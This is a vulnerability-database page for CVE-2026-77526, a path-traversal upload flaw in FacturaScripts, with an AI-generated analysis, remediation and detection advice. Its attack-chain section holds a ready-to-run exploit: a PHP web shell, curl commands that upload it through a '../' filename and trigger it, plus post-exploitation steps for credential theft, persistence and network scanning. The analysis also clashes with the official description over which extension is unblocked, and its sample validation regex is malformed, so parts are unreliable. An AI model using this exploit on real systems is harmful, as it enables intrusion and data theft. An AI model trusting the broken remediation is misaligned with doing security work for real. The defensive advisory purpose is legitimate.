CVE Professor
/
All CVEs
CVE-2026-77526

CVE-2026-77526 — CWE-22 · CWE-434

CRITICAL CVSS 9.9 NVD

FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3, FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location. Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution. This issue has been patched in version 2026.3.

FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3, FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location. Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution. This issue has been patched in version 2026.3.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

CVE‑2026‑77526 – FacturaScripts Core Arbitrary File Write → Remote Code Execution


🎯 What is this vulnerability?

AttributeDetail
Vulnerability typePath‑traversal + unrestricted file upload (CWE‑22, CWE‑434)
ComponentFacturaScripts\Core\UploadedFile::move($destiny, $destinyName)
Affected rangeFacturaScripts Core 2025.0 through 2026.2 (any version before 2026.3)
AuthenticationRequires a valid, authenticated FacturaScripts user (PR = Low)
PrivilegesThe attacker runs with the same privileges as the web‑server user (typically www-data or apache).
Missing protection1. Path normalisation – the method simply concatenates $destiny (the intended upload directory, e.g. MyFiles/) with $destinyName (the client‑supplied filename).<br>2. Filename sanitisation – every call passes UploadedFile::getClientOriginalName(), which is the raw filename supplied by the client. No validation or stripping of ../ sequences, null‑bytes, or special characters is performed.<br>3. Rewrite‑exclusion misuse – the shipped Apache sample configuration (.htaccess‑sample) explicitly excludes Dinamic/Assets/ and node_modules/ from the front‑controller rewrite, meaning any file placed there is served directly by Apache. The default BLOCKED_EXTENSIONS list does not contain .php, so a PHP web‑shell placed in one of those directories can be executed via a normal HTTP request.

Why the CVSS is 9.9 (Critical)

  • AV:N – The attacker can reach the vulnerable endpoint over the network.
  • AC:L – Exploitation requires only a single crafted request (low complexity).
  • PR:L – The attacker must be an authenticated user, but the privilege level is low (any valid account).
  • UI:N – No user interaction is required after the request is sent.
  • S:C – The impact is changed (the vulnerability is in a shared component; successful exploitation affects the entire application).
  • C:H / I:H / A:H – Successful exploitation yields complete compromise: the attacker can write arbitrary files, execute code, read/modify data, and cause denial‑of‑service.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; where the exact endpoint or parameter name is not disclosed in the public advisory, the example is marked as illustrative.

    1. Discovery & Reconnaissance

    ActionHow the attacker proceeds
    Fingerprint the productScan the target web site for the string “FacturaScripts” in HTML comments, JavaScript files, or the default /favicon.ico. The presence of /index.php?controller=Home&action=login (or similar) is a strong indicator.
    Determine versionRequest /index.php?controller=Home&action=about (or view the composer.json if publicly accessible). The response contains a line such as FacturaScripts version 2026.1.
    Confirm vulnerable rangeVerify that the version is ≥ 2025.0 and < 2026.3. If the version is 2026.3 or later, the issue is patched.
    Locate upload functionalityFacturaScripts provides a “My Files” (or “MyFiles”) UI that allows authenticated users to upload attachments. The upload form typically posts to index.php?controller=Upload&action=save.

    2. Exploitation

    Goal: Write a PHP web‑shell into a directory that is served directly by Apache (e.g., Dinamic/Assets/).

    2.1. Craft the malicious filename

    The vulnerable method concatenates the destination path with the supplied filename without path‑normalisation. By embedding ../ sequences we can traverse out of the intended MyFiles/ directory.

    ../../Dinamic/Assets/shell.php

    If the upload directory is MyFiles/, the resulting path after concatenation becomes:

    MyFiles/../../Dinamic/Assets/shell.php   →   Dinamic/Assets/shell.php

    2.2. Build a minimal PHP web‑shell

    <?php
    if (isset($_REQUEST['cmd'])) {
        echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';
    }
    ?>

    Save the above as shell.php.

    2.3. Send the malicious request

    Illustrative endpoint – the exact URL may differ per installation; the example uses the typical upload route.
    curl -i -X POST "https://target.example.com/index.php?controller=Upload&action=save" \
      -H "Cookie: PHPSESSID=abcdef1234567890" \
      -F "[email protected];filename=../../Dinamic/Assets/shell.php" \
      -F "destiny=MyFiles"

    Explanation of parameters

    ParameterReason
    file (multipart)The uploaded file; the filename attribute is forced to the traversal payload.
    destinyThe destination directory expected by the backend (MyFiles).
    CookieA valid session cookie for an authenticated user (any role that can upload files).

    If the upload succeeds, the server response will contain a success message (e.g., “File uploaded successfully”). The file now resides at Dinamic/Assets/shell.php on the server’s filesystem.

    2.4. Trigger the web‑shell

    Because Dinamic/Assets/ is excluded from the front‑controller rewrite, the file is reachable directly:

    curl "https://target.example.com/Dinamic/Assets/shell.php?cmd=id"

    A successful response will display the output of id, confirming remote code execution under the web‑server user.

    3. Post‑exploitation

    StepWhat the attacker does
    Persist web‑shellCopy the shell to additional writable locations (e.g., node_modules/, public/) to survive potential file‑cleanup.
    Privilege escalationIf the web‑server runs as a low‑privileged user, the attacker can attempt local privilege escalation (e.g., exploiting kernel CVEs) or pivot to the database using the same credentials used by the application.
    Data exfiltrationUse the shell to read configuration files (config.php, .env) containing database credentials, then dump the FacturaScripts database (mysqldump).
    Defacement / ransomwareOverwrite public assets (CSS, JS) or inject malicious JavaScript to serve drive‑by attacks.
    Lateral movementUse the compromised host as a foothold to scan the internal network (e.g., nmap -sS 10.0.0.0/24).

    🌍 Real‑World Impact

    CIA TriadImpact
    Confidentiality (C:H)The attacker can read any file readable by the web‑server user, including configuration files, database backups, and potentially other tenants’ data if multi‑tenant.
    Integrity (I:H)Arbitrary file write enables tampering with application code, injection of malicious scripts, or modification of accounting records.
    Availability (A:H)By writing a large file or a malicious .htaccess that disables the site, the attacker can cause a full denial of service.

    Business consequences

  • Financial data manipulation → fraudulent invoices, tax‑reporting errors.
  • Loss of customer trust and potential regulatory fines (e.g., GDPR, PCI‑DSS) due to data breach.
  • Operational downtime while the incident response team cleans the web‑shells and restores integrity.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ActionDetails
    UpgradeMove to FacturaScripts Core 2026.3 or any later release. The patch adds proper path normalisation (realpath) and rejects filenames containing directory‑traversal sequences.
    Version checkVerify the installed version via composer.lock or the “About” page after upgrade.

    2. Immediate Work‑arounds (if patch cannot be applied instantly)

    MitigationImplementation
    Reject dangerous filenamesAdd server‑side validation before calling move(). Example (PHP):<br><br>``php\nif (preg_match('#\.\./\\0/\\\\#', $destinyName)) {\n http_response_code(400);\n exit('Invalid filename');\n}\n`
    Restrict upload directoriesConfigure the web server to deny execution of PHP files inside Dinamic/Assets/ and node_modules/. Example Apache <Directory> directive:<br><br>`apacheconf\n<Directory /var/www/html/Dinamic/Assets>\n php_admin_flag engine off\n Options -ExecCGI\n AllowOverride None\n</Directory>\n`
    Modify .htaccess‑sampleRemove the Dinamic/Assets/ and node_modules/ exclusions from the rewrite rule, forcing all requests through index.php.
    WAF / ModSecurity ruleDeploy a rule that blocks path‑traversal in uploaded filenames and disallows uploads of files with executable extensions to any directory outside the designated upload folder. Example ModSecurity rule (valid syntax):<br><br>`modsecurity\nSecRule REQUEST_HEADERS:Content-Type "multipart/form-data" "id:'950001',phase:2,log,deny,status:403,msg:'Block traversal in uploaded filename',\n chain"\nSecRule FILES_NAMES "@rx \.\./" "t:none"\n`
    File‑system permissionsEnsure the web‑server user can write only to the intended upload directory (MyFiles/). Use ACLs or chmod 750` on other directories.
    Disable unused upload featuresIf the “My Files” module is not required, disable it in the application configuration or remove the controller routes.

    3. Detection – Indicators of Compromise

    Log sourceWhat to look for
    Web‑server access log (Apache access_log)Requests with filename= containing ../ or %2e%2e%2f (URL‑encoded traversal). Example entry:<br>POST /index.php?controller=Upload&action=save HTTP/1.1" 200 123 "…"<br>Followed by filename=..%2F..%2FDinamic%2FAssets%2Fshell.php.
    Web‑server error log“File does not exist: …/Dinamic/Assets/shell.php” followed shortly by a 200 response for that path, indicating the file was created and then accessed.
    Application log (storage/logs/*.log)Entries from UploadedFile::move showing the raw $destinyName value.
    File‑system monitoring (e.g., inotify, auditd)Creation of new .php files under Dinamic/Assets/ or node_modules/ by the www-data user.
    ModSecurity alertsTriggered rule 950001 (if deployed) with the message “Block traversal in uploaded filename”.

    Response actions

    1. Immediately block the offending IP address (if source is identifiable).
    2. Quarantine the compromised host, remove any newly created PHP files, and rotate all application credentials.
    3. Conduct a full forensic review of the database for tampered invoices.


    ⚠️ Urgency

  • CVSS 9.9 (Critical) – The vulnerability is exploitable over the network with low complexity and yields full system compromise.
  • No CISA KEV listing – The lack of a KEV entry does not reduce risk; the exploit is trivial once an attacker has a valid user account.
  • Authentication requirement – While a valid user is needed, many installations expose the “My Files” feature to any logged‑in employee, and credential reuse or phishing can easily provide the needed session.
Patch priority: Critical – Deploy the 2026.3 update within 24 hours for any production instance. If immediate patching is impossible, apply the mitigation steps (filename validation, rewrite rule tightening, and filesystem permission hardening) before the end of the current business day to reduce the attack window.
Bottom line: CVE‑2026‑77526 is a classic path‑traversal + unrestricted upload chain that lets an authenticated attacker write arbitrary PHP files to a web‑accessible directory, leading to remote code execution. The fix is straightforward (upgrade to 2026.3) and the interim mitigations are well‑defined. Prompt remediation is essential to protect financial data and maintain service availability.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
References & Advisories (3)
Related CVEs
9.8
CVE-2026-145055
PraisonAI pip praisonai before 4.8.0, praisonaiagents and npm praisonai before 1.8.0, and praisonai-bot, prais
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
9.4
CVE-2026-64883
Path traversal in the WebDAV interface (DotWebdavHelper and the WebDAV temporary-file COPY and MOVE handling)
9.0
CVE-2026-136364
Joomla Extension - joomboost.com - Unrestricted file upload in JoomMedia extension 1.0.0-6.1.5 - The upload fu
8.6
CVE-2026-115524
Path traversal in the push-publish bundle receiver (BundlePublisherResource, /api/bundlePublisher/publish) in
8.3
CVE-2026-144679
Thanos through 0.42.5 contains a path traversal vulnerability in Receive that allows unauthenticated remote-wr
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT